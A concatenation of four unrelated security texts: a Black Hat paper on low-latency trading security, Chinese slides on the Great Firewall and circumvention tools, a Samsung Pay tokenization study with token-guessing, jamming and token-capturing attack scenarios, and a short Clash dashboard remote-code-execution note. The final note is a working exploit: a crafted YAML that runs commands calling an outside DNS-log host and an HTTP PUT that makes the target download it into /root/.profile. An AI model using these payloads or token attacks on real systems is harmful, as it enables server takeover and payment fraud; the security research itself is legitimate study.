These  choices  will  include  elements  such  as: ‡ Extreme  systems  (in  2011:  16+  core,  128GB,  10G-­‐ether/Infiniband/PCIe interconnects) ‡ Custom  hardware  and  software  solutions  which  place  the  decision  engine  into FPGA  processors ‡ Custom  networking  interfaces  that  bypass  the  kernel ‡ Extreme  networks  (cut  through  switching  at  10GB/s) ‡ Proximity  (the  same  data-­‐centre  as  the  exchange) Many  of  these  choices  are  made  because  interconnect  technologies  designed for  wide  area  use  have  inherent  inefficiencies  and  also  because  one  of  the  increasingly popular  interconnect  technologies  (PCIe)  was  originally  intended  for  use  within  a  single system  and  not  as  a  data  transport  from  system  to  system.  The  key  issue  for  both latency  and  determinate  data  transport  remains  the  speed  of  light. Security  When  Nanoseconds  Count  -­‐  Blackhat  USA  Briefings  2011 2011-­‐07-­‐13 Page  4 Arlen-­‐SecurityWhenNanosecondsCount-­‐Whitepaper-­‐v1.docx Consider  that  light  travels: ~300km  (~186  miles)  in  1  millisecond  (1/1000th  of  a  second) ~300m  (~328  yards)  in  1  microsecond  (1/1000th  of  a  millisecond) ~30cm  (~1  foot)  in  1  nanosecond  (1/1000th  of  a  microsecond) These  values  start  to  place  absolute  limits  on  the  distance  between  processor nodes  (the  trading  engine  and  the  exchange)  in  order  to  stay  within  the  limits  necessary to  complete  a  time-­‐arbitrage  trade.  This  is  not  the  first  time  that  the  speed  of  light  has been  an  issue  in  data-­‐centre  design,  but  it  may  be  the  first  time  that  there  was  a financial  case  for  neat  and  tidy  interconnect  cabling. Security  When  Nanoseconds  Count  -­‐  Blackhat  USA  Briefings  2011 2011-­‐07-­‐13 Page  5 Arlen-­‐SecurityWhenNanosecondsCount-­‐Whitepaper-­‐v1.docx Variations from Common Practices In  order  to  meet  the  requirements  dictated  by  the  low  latency  /  deterministic performance  model  identified  above,  a  number  of  critical  variations  from  common practice  must  be  made. For  nearly  all  installations,  the  usual  perimeter  defensive  mechanisms  will  be completely  absent.  You  won’t  find  a  firewall,  you  won’t  see  routers  with  ACLs,  you won’t  see  IDS  and  frankly,  anything  that  you’d  recognize  as  a  security  tool. The  essential  reason  that  security  devices  are  largely  (if  not  wholly)  absent  from most  implementations  is  that  the  best  the  IT  Security  industry  can  offer  falls  short. Most  commercial  firewalls  process  data  and  add  a  few  milliseconds  of  additional latency.  In  the  vast  majority  of  interconnection  scenarios,  a  few  milliseconds  isn’t  that much  of  a  problem.  In  the  case  of  low  latency  trading,  it’s  about  100,000  times  too  slow. In  addition  to  products  which  simply  do  not  support  this  mode  of  operation,  there’s  a skills  gap  in  the  practitioner  space,  the  majority  of  IT  Security  workers  in  very  large organizations  which  are  utilizing  low  latency  trading  don’t  have  the  necessary background  to  implement  some  very  old-­‐fashioned  and  very  basic  network  security while  at  the  same  time  determine  how  to  properly  secure  a  host  with  custom everything. Security  When  Nanoseconds  Count  -­‐  Blackhat  USA  Briefings  2011 2011-­‐07-­‐13 Page  6 Arlen-­‐SecurityWhenNanosecondsCount-­‐Whitepaper-­‐v1.docx Threat Models Training  staff  with  the  necessary  skills  to  do  network  security  like  it’s  1999  and also  the  insight  necessary  to  find,  understand  and  communicate  flaws  in  custom  FPGA based  network  interface  hardware  is  not  a  trivial  exercise.  And  for  this  reason,  the  vast majority  of  installations  simply  skip  security  and  rely  on  market-­‐data  providers  and exchanges’  commitments  around  the  security  of  the  network  itself  without  real comprehension  of  the  potential  threats. Developing  an  appropriate  trust  model  should  be  trivial  –  we  already  know  that we’re  missing  our  entire  set  of  controls  –  but  how  to  describe  the  real  issue  and  how  do we  determine  the  most  appropriate  response? Start  by  managing  the  three  largest  threats: The  Developers  –  In  most  algo-­‐trading,  the  developer  isn’t  a  traditional developer  with  all  of  the  usual  SDLC  controls.  The  developer  is  probably  a  trader  or trader’s  underling  who  has  live  access  to  the  production  algo  engine  and  can  make  on the  fly  changes. The  Insider  –  This  is  not  the  “financial  insider”,  but  rather  a  trader  or  an administrator  of  a  set  of  low-­‐latency  systems  who  is  utilizing  access  to  market  data networks  or  exchange  networks  to  cause  negative  effects  of  the  other  participants. The  Market  Itself  –  This  is  an  odd  kind  of  technical  threat  –  but  as  the  other  party in  a  communication,  could  the  market  cause  issues  with  your  systems?  What  about malformed  messages?  What  about  other  participants  with  compromised  systems? As  you  build  the  picture  of  what  your  threat  model  should  encompass,  ensure that  you  consider  that  even  very  odd  cases  might  actually  be  the  common  case.  At  the speed  of  transaction  flow,  can  you  really  prevent  things  from  occurring  or  should  you build  your  threat  model  around  post-­‐fact  detective  controls? Security  When  Nanoseconds  Count  -­‐  Blackhat  USA  Briefings  2011 2011-­‐07-­‐13 Page  7 Arlen-­‐SecurityWhenNanosecondsCount-­‐Whitepaper-­‐v1.docx Beginning the Solution ‡ The  journey  of  a  thousand  miles  begins  with  a  single  step.  ~  Lao-­‐tzu From  where  most  low-­‐latency  or  algo  trading  systems  are  currently  in  terms  of security,  any  change  would  be  a  positive  change.  Due  to  the  need  for  speed,  some  of the  techniques  utilized  in  the  late  90s  are  completely  appropriate  –  bastion  hosts, router  acls,  layer  3  and  4  firewall  rules  –  assuming  you  are  using  sufficiently  fast equipment  –  and  top-­‐of-­‐rack  switches  are  now  available  that  offer  sub-­‐microsecond performance  for  cut  through  layer  4  switching. Even  if  you  cannot  implement  any  changes,  it  would  be  an  improvement  in security  posture  to  have  a  complete  architectural  understanding  of  the  systems  as implemented.  Situational  awareness  is  important. Product  vendors  –  it’s  time  to  step  up  and  give  this  market  some  attention. There’s  money  to  be  had  by  individuals  who  want  more  than  checkbox  protection. Risk  /  Process  /  Policy  /  GRC  –  work  with  the  business,  they  understand  risk  – probably  better  than  you  do  –  but  have  a  different  set  of  tolerances.  Use  their knowledge  to  help  make  good  decisions  rather  than  blindly  following  dogmatic statements. IT  Compliance  –  meet  the  financial  compliance  people  –  I’m  sure  you’ll  find things  to  talk  about.  Finally. Practitioners  in  the  Trenches  –  research  everything.  Be  prepared  to  operate  at all  levels  simultaneously  with  reaction  times  that  match  your  low-­‐latency  business partners.  Work  on  proof  of  concept  to  see  where  you  can  and  cannot  actually  help.  And most  of  all,  be  prepared  for  the  continued  downward  pressure  on  transaction  times. Security  When  Nanoseconds  Count  -­‐  Blackhat  USA  Briefings  2011 2011-­‐07-­‐13 Page  8 Arlen-­‐SecurityWhenNanosecondsCount-­‐Whitepaper-­‐v1.docx About James Arlen, CISA James  Arlen,  CISA,  is  Principal  at  Push  The  Stack  Consulting  providing  security consulting  services  to  the  utility  and  financial  verticals.  He  has  been  involved  with implementing  a  practical  level  of  information  security  in  Fortune  500,  TSE  100,  and major  public-­‐sector  corporations  for  more  than  15  years.  James  is  also  a  contributing analyst  with  Securosis  and  has  a  recurring  column  on  Liquidmatrix  Security  Digest.  Best described  as:  "Infosec  geek,  hacker,  social  activist,  author,  speaker,  and  parent."  His areas  of  interest  include  organizational  change,  social  engineering,  blinky  lights  and shiny  things.
pdf
道高一尺,牆高一丈:東亞 網絡封鎖和反封鎖技術演進 介紹 蕭強 加大柏克萊分校逆權力實驗室 第一封電子郵件 (1987) : https://bit.ly/2NsTe2Q “Across the Great Wall we can reach every corner in the world” 中大國九互聯網關 https://bit.ly/2NsTe2Q 國家公共網絡監控系統俗稱中國網絡防火牆 (The Great Fire Wall of China,常用簡稱「GFW」 或「牆」)。 網絡封鎖的歷史背景 (1999) • 國家信息化工作領導小組 • 組長: 吳邦國 GFW 成立的背景 https://bit.ly/2uOp7LL https://bit.ly/2LowL9P 網絡審查組織 https://bit.ly/2mrOU8F 國家計算機網絡與信息安全管理中心 CNCERT/CC (GFW) https://bit.ly/2Lb6Mn6 中國國家防火牆之父:方濱興 国家计算机网络与信息安全管理中心总工程师 (2000-2002) https://bit.ly/2LoATGR “國家信息安全話語範式” • 通過國家意志——法律來定義“信息安全”:包括了“內容安全”和“意識 形態安全” • 將“煽動…煽動…煽動…煽動…捏造…宣揚…侮辱…損害…其他…”等加入定義為 所謂的網絡攻擊、網絡垃圾、網絡有害信息、網絡安全威脅 • 在實現層面完全技術性、中立性地看待“信息安全”,對意識形態與信息科 學進行牢不可破的焊接 CNCERT/CC“合作夥伴” • 違法和不良信息舉報中心 (網信辦) • 國家計算機網絡入侵防範中心 (中科院) • 國家計算機病毒應急處理中心 (公安部,科技部) • 國家反計算機入侵及防病毒研究中心 (公安部) • 中國互聯網用戶反垃圾郵件中心(中國互聯網協會) 防火長城 GFW 的決策機制 https://bit.ly/2mrOU8F https://bit.ly/2NsTe2Q https://bit.ly/2JBa5hP 防火長城 GFW 的工作流程 • 封禁標準 • 封禁流程 • 封禁技術 GFW 重點封堵翻牆工具的條件(特點): •大規模使用 •特定時期的特定使用 •有明顯翻牆意圖的使用 •被外圍GFW人員舉報的使用 防火長城 GFW 技術實施原則 • “主要是強調綜合平衡安全成本與風險,如果風險不大 就沒有必要花太大的安全成本來做。在這裡面需要強調 一點就是確保重點的,如等級保護就是根據信息系統的 重要性來定級,從而施加適當強度的保護。”----- 方濱興 《五個層面解讀國家信息安全保障體系》 防火長城的技術演進 GFW 技術結構: 入侵防 禦系統, 檢測-攻擊兩相 模型 域名劫持 IP封锁 关键字过滤阻断 HTTPS证书过滤 Censorship Technologies •IP Blocking •DNS Poisoning •Keywords Filtering (TCP Reset) •URL Filtering (HTTP Proxy, IR) 更多的封鎖行為 • Application protocol parsing (“deep packet inspection”) • Participation in a circumvention system as a client • Scanning to discover proxies • Throttling connections • Temporary total shutdowns Measurement •IP Blacklist •DNS Blacklist •Keyword, URL blacklist Categories subject to Internet filtering HIKINGGFW.ORG Categories subject to Internet filtering dns_bl: Domain Name polluted • Input : a list of Domain Names • Alexa.com Top 1M???? • COM, NET, ORG, INFO • Test methods • Clustering: • pictwitter.com, twitter.computer.com => twitter.com ip_bl: IP addressed blocked? • Input: domain names or IP addresses • Output: IP reachable or not • Get the real IP address in China • dig +tcp -f blacklist_domain • HTTP connect • wget, curl, • Socket rst_bl: Keywords by TCP Reset •Input: Keyword(Chinese, English) •Output: Test Tools & Website • domain_test • ip_test • keyword_test • article_test • A Web form accept users’ input • Monitoring Services, also for ourselves 防火長城 GFW 具體的封鎖方式 •GFW只是一個執行指令的機器,沒有標準判 斷功能。至於採取什麼方式要看程度,一般 情況是 :關鍵詞>DNS>IP GFW 實體 「哨所」 http://www.dnp.cn/images/up_images/20170630124647692.jpg GFW 基本封禁技術 (1)IP 封鎖 •GFW採用的是一種比傳統的訪問控制列表 (Access Control List,ACL)高效得多的控制 訪問方式——路由擴散技術 訪問控制列表 (ACL) 路由協議與路由重新分發(redistribution) •“歪用”路由協議 動態路由協議簡介 靜態路由 路由重分發 GFW 路由擴散技術的工作原理 • 靜態路由 • 黑洞服務器 • 虛假回應 GFW 封禁IP的特点: • 把以前配置在ACL裡的每條IP地址轉換成一條故意配置錯誤的靜態路由信息 • 這條靜態路由信息會把相應的IP報文引導到黑洞服務器上,通過動態路由協 議的路由重分發功能,這些錯誤的路由信息可以發佈到整個網絡 • 對於路由器來講現在只是在根據這條路由條目做一個常規報文轉發 動作, 無需再進行ACL匹配 • 既提高了效率,又達到了控制報文之目的 GFW 基本封禁技術(2) :入侵檢測 • 傳輸層的TCP和UDP解析都是入侵檢測業界的標準配置。 UDP通常用來做DNS查詢劫持,一個附加效 果就是國內的域名緩存充滿了 • TCP主要用作阻斷,把攻擊者的連接關閉掉/阻止攻擊者進行連接 • 應用層方式更多,因為解析一個協議不困難。所謂 的SSL證書攔截不過是稍微做了一下SSL/TLS協議的解析, • 入侵檢測的靈活之處在於它的部署和撤銷都很便捷無副作用無延遲,匹配精確無誤傷,是GFW最為強大靈活的 功能 深度數據包檢測 常見翻 牆工具 的原理 “翻牆”:Censorship Circumvention • Destination (domain, ip) blocking - bypass: proxy outside • Communication inspection - bypass: encrypted tunnel • Most bypass solutions combine two methods • Encrypted traffic, route to one or more proxies 防火長城對翻牆技術的反制措施: •Detect and block proxy servers used for circumvention via analyzing Internet traffic •Technologies to recognize encrypted protocols 翻牆工具 目前常見的幾 種翻牆工具 •TOR •Lantern •Psiphon •Firefly 以 TOR 為例 (1) • Tor started as an anonymous communication tool in 2002 and was used for circumvention by many Chinese Internet users. • Tor used a centralized directory server which maintains a list of proxy nodes. • GFW blocked all the IP address of the directory server by 2009 以TOR為例 (2) • 2010: TOR’s ”hidden “bridge” nodes that are not listed in the directory server • 2011: GFW learned the way to block hidden private bridge nodes In 2011. • 2012: Tor launched obfsproxy, a tool that can transform the Tor traffic into innocent looking traffic so that the GFW cannot differentiate the use of Tor from other Internet activities • 2013: GFW finds a way to defeat obfsproxy 新思路:“連帶自由 Collateral Freedom” •不是那種翻牆技術不能被對手屏蔽,而是 如果對方封鎖這種技術,其(政治,社會 或者經濟)的代價是什麼? “域名前置 Domain Fronting” 技術 “域名前置 Domain Fronting” 技術 TOR Implementation 翻牆服務 ShadowSocks 防火長城演進的未來趨勢 中共中央網絡安全和信息化領導小組 組長:習近平 (2014-2-27) https://bit.ly/2LoATGR 中共中央網絡安全和信息化委員會 2018-4 主任:習近平 ,副主任:李克強,王滬寧,辦公室主任:徐麟 https://bit.ly/2LoATGR 「牆」的 進化 (2014 – 2018) 中國政府對VPN的控制 • “網絡主權” • 關閉國內大部分VPN服務 • 干擾外國VPN • 官辦VPN 「大砲」China’s Great Cannon 2015.3 2015年部分网络封锁事件 • 8月20日 • 8月21日 • 8月22日 • 8月25日 • 8月25日 • 8月25日 • 8月26日 翻牆工具技術演進的未來趨勢 •動態平衡 •理想穩態 •“連帶自由”的瓶頸 •下一代的翻牆方法 防火長 城的威 力 2012 – 2018 Google Transparency Report 主要參考文獻: • Shen, F. (2014). Great Firewall of China. In Harvey, K. (Ed.). (2014). Encyclopedia of Social Media and Politics. SAGE, Volume 2, 599-602. • David Fifield*, Chang Lan, Rod Hynes, Percy Wegmann, and Vern Paxson Blocking-resistant communication through domain fronting In https://www.bamsoftware.com/ • GFW Blog 功夫网与翻墙 http://www.chinagfw.org/ • 阅后即焚: GFW http://www.chinagfw.org/2009/08/gfw_30.html • 刘刚, 云晓春, 方滨兴, 胡铭曾. "一种基于路由扩散的大规模网络控管方法". 通信学报, 24(10): 159-164. 2003. • 李蕾, 乔佩利, 陈训逊. "一种IP访问控制技术的实现". 信息技术, (6). 2001. • 道高一尺,牆高一丈:互聯網封鎖是如何升級的 https://theinitium.com/article/20150904- mainland-greatfirewall/
pdf
Samsung Pay: Tokenized Numbers, Flaws and Issues  Salvador Mendoza  July 7, 2016  Introduction  Samsung Pay is a new method to make purchases over the latest line of Samsung smartphones devices. The goal is to implement mst technology mainly in every purchase. However, Samsung Pay could use nfc technology as well. Samsung implements a “new” sophisticated alphanumeric algorithm called tokenization. Partner with card providers like Visa, Mastercard and others, Samsung embraced the VTS framework(Visa Token Service) to push its ambitious project. If you are a Samsung Pay user, you do not even think about the new markets goals that this company is planning. Such as online purchases or customizable memberships. Samsung made a step forward in the electronic market. As result, its purchase process is very interesting. So every time when people add a card at their Samsung Pay, the system generates a new “virtual random” CC implementing the framework which assigns a token to each card. This process is based in another package: Spayfw. That token is saved in a Token Vault somewhere relating the original PAN information. So in each transaction instead of using the original CC’s data, the system sends a tokenized number: a new card number with some “parameters” in the tracks. The main idea behind this is that if someone is able to get a token, he/she will not be able to reuse or extract the original CC’s information.  Analyzing Spay  Before I started digging into the apk, I needed to take a look at the Spay’s databases to have a better understanding of its complexity. I started playing with the terminal and ‘adb’ command, first I backed up the data of Samsung Pay:  adb backup com.samsung.android.spay ­f sbackup.ab ↵  Decompress it using openssl with zlib support or dd with python.  dd if=sbackup.ab bs=24 skip=1 | openssl zlib ­d > sbackup.tar ↵  [Or Python with zlib support.]  dd if=sbackup.ab bs=1 skip=24 | python ­c "import  zlib,sys;sys.stdout.write(zlib.decompress(sys.stdin.read()))" | tar ­xvf ­ ↵  If we open the database with Sqlitebrowser program, we can see how Samsung Pay database is designed. The data is “encrypted” using a private function implementing substitution. Some of the fields are CC, last four digits of the token, zip code, card name, token id and many more.   However this is not the only database/data that Samsung Pay implements. Do you remember that I mentioned the Spayfw package? Well, Spayfw is basically the Visa Token Service framework with a combination of all rules, commands and connection protocols to make possible the tokenization process. Some of its databases and info are very restricted and essential in each transaction. Some of its requested data is stored even in the ‘efs’ folder which is not easily accessible. Those databases save logs, transaction, memberships and many other things:  PlccCardData_enc.db, spayfw.db, spayfw_enc.db, collector.db, collector_enc.db, mc_enc.db...  Tokenization theory  According to Samsung’s explanation, there is no way to anyone could guess any token because the system makes them “randomly.” But how random has to be a number to be completely random? Also, they mention that they reduced dramatically the security issues with this technology. However, I found something interesting about its tokenized numbers. Implementing a usb card reader, I started collecting tracks to find patterns or a way for a possible attack. This is a complete string transmitted with MST with Samsung Pay app(I changed the original CC number in the tracks).  %​4012300001234567^21041010647020079616?​;​4012300001234567^2104101064702007961 6?​~​4012300001234567^21041010647020079616?  % = Start sentinel for first track  ; = Start sentinel for second track  ~ = Start sentinel for third track  ^ = Separator  ? = End sentinel  If you notice, even when those are three tracks, the tokenized number is the same one in all of them. This is logic right? Each purchase goes with an id, so id = token. Even if the card reader does not detect any data initially, the app has a button to resend the same token again for a second chance to be detected. Samsung Pay sends the tokens based in a special configuration to transmit in different baud rate implementing a xml file for this configuration:  Meaning of each term in the file:  t2 = track2  t1 = track1  TZ = Trailing zeros  LZ = Leading zeros  r = Baud rate  D = Delay rate  File:   <?xml version='1.0'?>  <default transmitTime="15" idleTime="1800" mstSequenceId="v0013.11.T2T2R.T2.T1T2R">  <!­­ L22 ­­>  (t2, r200, LZ30, TZ15, D0);  (t2, r200, LZ15, TZ30, R, D950);  <!­­ L22 ­­>  (t2, r200, LZ30, TZ15, D0);  (t2, r200, LZ15, TZ30, R, D950);  <!­­ L2 ­­>  (t2, r800, LZ30, TZ30, D950);  <!­­ L12 ­­>  (t1, r300, LZ30, TZ4, D0);  (t2, r300, LZ6, TZ30, R, D950);  <!­­ L2 ­­>  (t2, r800, LZ30, TZ30, D950);  <!­­ L12 ­­>  (t1, r300, LZ30, TZ4, D0);  (t2, r300, LZ6, TZ30, R, D950);  <!­­ L22 ­­>  (t2, r200, LZ30, TZ15, D0);  (t2, r200, LZ15, TZ30, R, D950); <!­­ L12 ­­>  (t1, r300, LZ30, TZ4, D0);  (t2, r300, LZ6, TZ30, R, D950);  <!­­ L2 ­­>  (t2, r800, LZ30, TZ30, D950);  <!­­ L12 ­­>  (t1, r300, LZ30, TZ4, D0);  (t2, r300, LZ6, TZ30, R, D950);  <!­­ L22 ­­>  (t2, r200, LZ30, TZ15, D0);  (t2, r200, LZ15, TZ30, R, D0);  [...]  Analyzing a token   Why the second track is very important for Samsung Pay? Why the second one and no the first one or third? Well a normal card reader terminal detects the second track as authorization track which has all the data to complete a purchase.  Let’s take a look at that token(It does not matter if it is the first or second track, because it is the same token after all).  Splitting the token up:  ­ The first 16 digits are the new assigned CC number: 4012300001234567  4012300001234567  401230  000  01234567  New CC number  Private BIN #  Never change, from  original CC  Still  researching  ­ The last 20 digits are the token’s heart: 21041010647020079616  2104​­​101​­​0647020079616  21/04  101  064702­​0079​­​616  Token  New  expiratio n date.  Service code:   1​: Available for international  interchange.  0​: Transactions are  authorized following the  normal rules.  1​: No restrictions.  64702​: It handles  transaction’s  range/CVV role.  0079​: Transaction’s  id, increase +1 in  each transaction.  616​: Random  numbers, to fill  IATA/ABA format,  generated from a  cryptogram/array  method.  Note that when you add a Credit Card with ​Chip­and­PIN protection​, Samsung Pay changes the first service code from 2 to 1 to use it without ​Chip­and­PIN ​policies. So the user will be able to make purchases avoiding the necessity to insert the card into the terminal every time.  Token Generation  Researching how the app generates tokens, I found that Samsung Pay implements a cryptogram as base. It uses a combination of arrays and matrices in combination of a “random” number to have a different ids in each token “without” pattern. The main alteration occurs in the last [4­6] digits of the token and in the middle of it. In every transaction, Samsung Pay app sends data to the server; first I thought to match, log or to validate future tokens, but I was wrong. Initially, I assumed that Samsung Pay needs a constant internet connection to have a full control of the tokens creation. But what happens when there is no Internet connection?   When the device was in airplane mode, something interesting occurred. Samsung Pay was able to make purchases in offline mode. In airplane mode, the numbers do not change in the middle section. The app could implement both NFC or MST simultaneously to have a better and wider support in the vendors’ terminals.   I assumed before testing that Samsung Pay had no way to validate the new tokenized number in offline mode. So, the app will have a partial token’s control, and I will be able to create my own random numbers, but I was partially wrong. The tokens have to follow a special structure (a specific random path) in the last 4 digits to be valuable. So are those digits truly random numbers? How the transaction server knows which token is valid even when Spay is offline? Keep these questions in mind.  When the device connects to Internet, Spay increases its tokens +1 in the middle section to make sure that the next tokenized number will be bigger than last one. This means that Samsung Pay is able to make purchases in offline mode, so this counter could be a security range. Some examples:  Without internet; the nfc is active, does not change the middle counter  %4012300001234567^21041010​82017(constant)​0​216​242?   %4012300001234567^21041010​82017​0​217​826?  %4012300001234567^21041010​82017​0​218​380?  %4012300001234567^21041010​82017​0​219​899?  %4012300001234567^21041010​82017​0​220​006?  […]  With internet, the middle counter increases +1:  %4012300001234567^21041010​82100​0​232​646?  %4012300001234567^21041010​83100​0​233​969?   %4012300001234567^21041010​83100​0​234​196?  %4012300001234567^21041010​83101​0​235​585?​← +1  Attacking Samsung Pay: Scenarios  Scenario 1:  The next step was trying to reuse tokenized numbers, guess them or take an approximation to see how they work separately from Samsung’s technology. If you think about it, the tokens are created implementing visa or mastercard framework at Spayfw package, so they should work without issues in any device. The only thing to be aware is how to transmit the tracks properly. Thanks to Samy Kamkar and his invention(​http://samy.pl/magspoof/​), I could implement MagSpoof to use tokens from Samsung Pay easily.  With Magspoof, I successfully made purchases with tokens obtained from Samsung Pay. However, I could not reuse them. Every token that goes through, it is burned. So there is no way to reuse it repeatedly. However an attacker could try to guess the last 3 digits of the next token. Analyzing many entries, an attacker can narrow to a small range of possible for future tokens.  %4059557240050212^22111014226000128069?~4059557240050212^22111014226000128069?//Monday, june 27  %4059557240050212^22111014226000129860?~4059557240050212^22111014226000129860?  %4059557240050212^22111014226000130648?~4059557240050212^22111014226000130648?  %4059557240050212^22111014226000131953?~4059557240050212^22111014226000131953?  %4059557240050212^22111014301000132466?~4059557240050212^22111014301000132466?//Tuesday junio 28 11:26am  %4059557240050212^22111014301000133576?~4059557240050212&22111014301000133576?  %4059557240050212^22111014301000134764?~4059557240050212^22111014301000134764?  %4059557240050212^22111014301000135708?~4059557240050212^22111014301000135708?  %4059557240050212^22111014315000136483?~4059557240050212^22111014315000136483?//Wed junio 29 9:23am  %4059557240050212^22111014315000137459?~4059557240050212^22111014315000137459?  %4059557240050212^22111014315000138345?~4059557240050212^22111014315000138345?  %4059557240050212^22111014315000139093?~4059557240050212^22111014315000139093?  %4059557240050212^22111014349000140436?~4059557240050212^22111014349000140436?//Friday july 1, 5:34pm  %4059557240050212^22111014349000141752?~4059557240050212^22111014349000141752?  %4059557240050212^22111014349000142461?~4059557240050212^22111014349000142461?  %4059557240050212^22111014349000143073?~4059557240050212^22111014349000143073?  %4059557240050212^22111014393000144157?~4059557240050212^22111014393000144157?//Sat july 2, 5:05pm  %4059557240050212^22111014393000145812?~4059557240050212^22111014393000145812?  %4059557240050212^22111014393000146740?~4059557240050212^22111014393000146740?  %4059557240050212^22111014393000147260?~4059557240050212^22111014393000147260?  %4059557240050212^22111014417000148809?~4059557240050212^22111014417000148809?//Sunday july 3 4:00:05  %4059557240050212^22111014417000149485?~4059557240050212^22111014417000149485?  %4059557240050212^22111014417000150578?~4059557240050212^22111014417000150578?  %4059557240050212^22111014417000150578?~4059557240050212^22111014417000150578?  %4059557240050212^22111014417000151300?~4059557240050212^22111014417000151300?  %4059557240050212^22111014439000152433?~4059557240050212^22111014439000152433?//4:19  %4059557240050212^22111014439000153159?~4059557240050212^22111014439000153159?//4:20  %4059557240050212^22111014439000154227?~4059557240050212^22111014439000154227?  %4059557240050212^22111014440000155547?~4059557240050212^22111014440000155547?//4:38  %4059557240050212^22111014440000156001?~4059557240050212^22111014440000156001?//4:59  %4059557240050212^22111014440000157597?~4059557240050212^22111014440000157597?//5:00  %4059557240050212^22111014440010158248?~4059557240050212^22111014440010158248?//Monday july 4 4:04pm  %4059557240050212^22111014440010159354?~4059557240050212^22111014440010159354?  %4059557240050212^22111014440010160392?~4059557240050212^22111014440010160392?  %4059557240050212^22111014440010161183?~4059557240050212^22111014440010161183?  %4059557240050212^22111014440010162318?~4059557240050212^22111014440010162318?  %4059557240050212^22111014464010168604?~4059557240050212^22111014464010168604?//Tuesday july 5 3:30pm  %4059557240050212^22111014464010169807?~4059557240050212^22111014464010169807?  %4059557240050212^22111014464010170821?~4059557240050212^22111014464010170821?  %4059557240050212^22111014487000171851?~4059557240050212^22111014487000171851?  %4059557240050212^22111014487000172235?~4059557240050212^22111014487000172235?  %4059557240050212^22111014487000173882?~4059557240050212^22111014487000173882?/Wed July 6 10:51pm  offline/mode  %4059557240050212^22111014487000174133?~4059557240050212^22111014487000174133?  %4059557240050212^22111014487000175454?~4059557240050212^22111014487000175454?  %4059557240050212^22111014487000176404?~4059557240050212^22111014487000176404?  %4059557240050212^22111014487000177103?~4059557240050212^22111014487000177103?  If an attacker analyze the tokens very carefully, he/she could implement a guessing method, a brute force attack or a tokens’ dictionary attack.  Scenario 2:  Another possible scenario could be If a Samsung customer tries to use Samsung Pay but something happens in the middle of the transaction, and this does not go through, that token still alive. Meaning that an attacker could jam the transaction process to make Samsung Pay failed and force it to generate the next token. So the attacker will be able to use the previous tokenized number to make a purchase without any restrictions. This attack technique is very similar to Samy Kamkar methodology to attack the rolling code algorithm implementing the RollJam tool. But in this particular case, unlike Samy’s attack, the malicious attacker will not need to release the previous token because that token will be used to make the purchase.  Preparing JamPay for Scenario 2  Hardware:  ­ Raspberry zero captures tokens and send them by email. Also, it will provide the necessary power for MagSpoof.  ­ MagSpoof will act as jammer to confuse the terminal.   ­ Battery pack  ­ Jump wires  ­ Coil  ­ Wifi usb dongle  Part of the project, first prototype. MagSpoof is already  integrated with Raspberry zero.   Demo: https://www.youtube.com/watch?v=CujkEaemdyE  Scenario 3:  TokenGet is a tool specially designed for social engineering attack. It can captures and transmit  the tokens by email, so an attacker could use MagSpoof to use them a make purchases.   Demo: https://www.youtube.com/watch?v=QMR2JiH_ymU  Hardware:  ­ Raspberry Zero  ­ Case  ­ Mini otg 2 usb adapter  ­ Credit card reader   ­ Usb wifi dongle  Flaws and Issues in Samsung Pay  In the application, some flaws are constant: the passwords to encode hashes, comments all over the code, and even weak obfuscation. The credit card data in the database is “encrypted”, but it will be eventually decrypted it with static passwords in the code.   There are many questions that need a deep research like how magically the transaction server can distinguish between faked and proper tokens. I assumed that the server has a reverse of the tokens generator function to validate them.   Solution  Samsung Pay has to work harder in the token's expiration date, to suspend them as quickly as possible after the app generates a new one, or the app may disposed the tokens which were not implemented to make a purchase.  Also Samsung Pay needs to avoid of using static passwords to “encrypt” its files and databases with the same function because eventually someone would be able to reverse it and exploit them. The databases are very sensitive. They contains delicate information to update token  status, server connections instructions and validation certificates.  Conclusion  The usage of Samsung Pay is an actual risk for its users’ integrity in different security levels. By providing the correct fixes and updates, Samsung Pay could become one of the most sophisticated purchase app in the digital market.   Samsung Pay is growing exponentially around the planet; adding services service in different countries. As result, Samsung Pay needs to increase as soon as possible a better security controls to avoid any possible attacks against its Samsung’ customers.
pdf
1 clash dashboard rce 利⽤限制: jj.yaml payload: Bash 复制代码 1.配置中external-controller监听0.0.0.0(很多订阅地址默认配置即为0.0.0.0) 2.linux环境 3.命令执⾏需管理员登录服务器才会触发 1 2 3 Bash 复制代码 id>/tmp/1.txt: test whoami:  curl clash.jj.dnslog.cn proxies:    -     name: 'jjproxy'     type: ssr     server: jjproxy.com     port: 0     cipher: chacha20-ietf     password: jjproxy.com     protocol: auth_aes128_md5     protocol-param: '0:jjproxy.com'     obfs: http_simple     obfs-param: jjproxy.com     udp: true 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 2 Bash 复制代码 PUT /configs?force=true HTTP/1.1 Host: [TARGET]:9090 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 841 {"rce":"reload","payload":"port: 7890\nsocks-port: 7891\nredir-port: 7892\nallow-lan: false\nmode: rule\nlog-level: silent\nexternal- controller: '0.0.0.0:9090'\nsecret: ''\ndns:\n enable: true\n ipv6: false\n listen: '0.0.0.0:53'\n enhanced-mode: fake-ip\n fake-ip-range: 198.18.0.1/16\n nameserver:\n   - 'https://223.5.5.5/dns-query'\n   - 'https://doh.pub/dns-query'\n   - 'tls://dns.rubyfish.cn:853'\n fallback:\n   - 'tls://1.0.0.1:853'\n   - 'tls://8.8.4.4:853'\n   - 'https://doh.opendns.com/dns-query'\n fallback-filter:\n   geoip: true\n   ipcidr:\n     - 240.0.0.0/4\nproxy-providers:\n provider1:\n   type: http\n   url: 'http://[REPLACE]/jj.yaml'\n   interval: 3600\n   path: '/root/.profile'\n   healthcheck:\n     enable: true\n     interval: 3600\n     lazy: true\n     url: \"http://jjproxy.com\""} 1 2 3 4 5 6 7 8 9 10 11
pdf
